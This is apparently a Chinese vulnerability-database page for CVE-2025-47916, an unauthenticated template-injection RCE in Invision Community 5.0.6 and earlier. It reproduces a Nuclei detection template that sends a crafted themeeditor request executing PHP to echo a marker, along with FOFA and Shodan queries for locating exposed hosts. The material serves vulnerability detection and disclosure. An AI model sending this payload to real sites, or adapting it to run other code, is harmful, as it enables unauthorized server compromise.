CVE-2025-47916: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection

日期: 2025-08-01 | 影响软件: Invision Community | POC: 已公开

漏洞描述

Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.

PoC代码[已公开]

id: CVE-2025-47916

info:
  name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
  author: EgiX,iamnoooob,pdresearch
  severity: critical
  description: |
    Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47916
    - https://karmainsecurity.com/pocs/CVE-2025-47916.php
    - https://invisioncommunity.com/release-notes-v5/507-r41/
    - https://karmainsecurity.com/KIS-2025-02
    - http://seclists.org/fulldisclosure/2025/May/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-47916
    cwe-id: CWE-1336
    epss-score: 0.90163
    epss-percentile: 0.9956
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Invision" && body="ips4"
    shodan-query: "Set-Cookie: ips4_"
  tags: cve,cve2025,invision,rce,ssti,unauth,seclists,vkev,vuln

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app=core&module=system&controller=themeeditor&do=customCss&content=%7Bexpression%3D%22die%28%27CVE%27. base64_decode%28%27{{base64(marker)}}%3D%27%29%29%22%7D

    matchers:
      - type: word
        part: body
        words:
          - 'CVE{{marker}}'
# digest: 4b0a00483046022100a6a54583004d9248827d4c7f307e2c6e00a49a2221f7820fe6471752bf87c00d022100cdff0d247c242137e1e471eb1c9f3bb88986bfdc4a97f1c63e38ce02635de9a6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐